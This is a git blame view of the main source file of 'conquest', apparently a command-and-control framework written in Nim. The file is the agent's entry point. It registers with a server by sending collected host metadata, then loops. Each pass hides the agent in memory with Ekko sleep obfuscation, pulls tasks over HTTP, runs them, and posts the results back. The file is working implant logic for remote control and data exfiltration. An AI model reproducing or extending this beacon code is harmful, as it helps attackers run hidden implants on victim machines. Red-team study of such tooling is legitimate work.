Files
conquest/src/agent/main.nim

72 lines
2.2 KiB
Nim
Raw Normal View History

import strformat, os, times, system, base64
2025-05-19 21:56:34 +02:00
import core/[http, context, sleepmask]
import protocol/[task, result, heartbeat, registration]
import ../modules/manager
import ../common/[types, utils, crypto]
2025-05-19 21:56:34 +02:00
proc main() =
# Initialize agent context
var ctx = AgentCtx.init()
if ctx == nil:
quit(0)
# Load agent commands
loadModules()
# Create registration payload
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
let registrationBytes = ctx.serializeRegistrationData(registration)
if not ctx.httpPost(registrationBytes):
echo "[-] Agent registration failed."
quit(0)
echo fmt"[+] [{ctx.agentId}] Agent registered."
2025-05-19 21:56:34 +02:00
#[
Agent routine:
2025-05-19 21:56:34 +02:00
1. Sleep Obfuscation
2. Retrieve task from /tasks endpoint
3. Execute task and post result to /results
4. If additional tasks have been fetched, go to 2.
5. If no more tasks need to be executed, go to 1.
]#
2025-05-19 21:56:34 +02:00
while true:
sleepEkko(ctx.sleep * 1000)
2025-05-19 21:56:34 +02:00
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking in."
2025-05-19 21:56:34 +02:00
2025-07-26 18:20:54 +02:00
try:
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
# The check-in request contains the agentId, listenerId, so the server knows which tasks to return
var heartbeat: Heartbeat = ctx.createHeartbeat()
2025-07-26 18:20:54 +02:00
let
heartbeatBytes: seq[byte] = ctx.serializeHeartbeat(heartbeat)
packet: string = ctx.httpGet(heartbeatBytes)
2025-05-19 21:56:34 +02:00
2025-07-26 18:20:54 +02:00
if packet.len <= 0:
echo "[*] No tasks to execute."
2025-07-26 18:20:54 +02:00
continue
let tasks: seq[Task] = ctx.deserializePacket(packet)
2025-07-26 18:20:54 +02:00
if tasks.len <= 0:
echo "[*] No tasks to execute."
2025-07-26 18:20:54 +02:00
continue
2025-07-26 18:20:54 +02:00
# Execute all retrieved tasks and return their output to the server
for task in tasks:
var result: TaskResult = ctx.handleTask(task)
let resultBytes: seq[byte] = ctx.serializeTaskResult(result)
ctx.httpPost(resultBytes)
2025-07-26 18:20:54 +02:00
except CatchableError as err:
echo "[-] ", err.msg
2025-05-19 21:56:34 +02:00
when isMainModule:
main()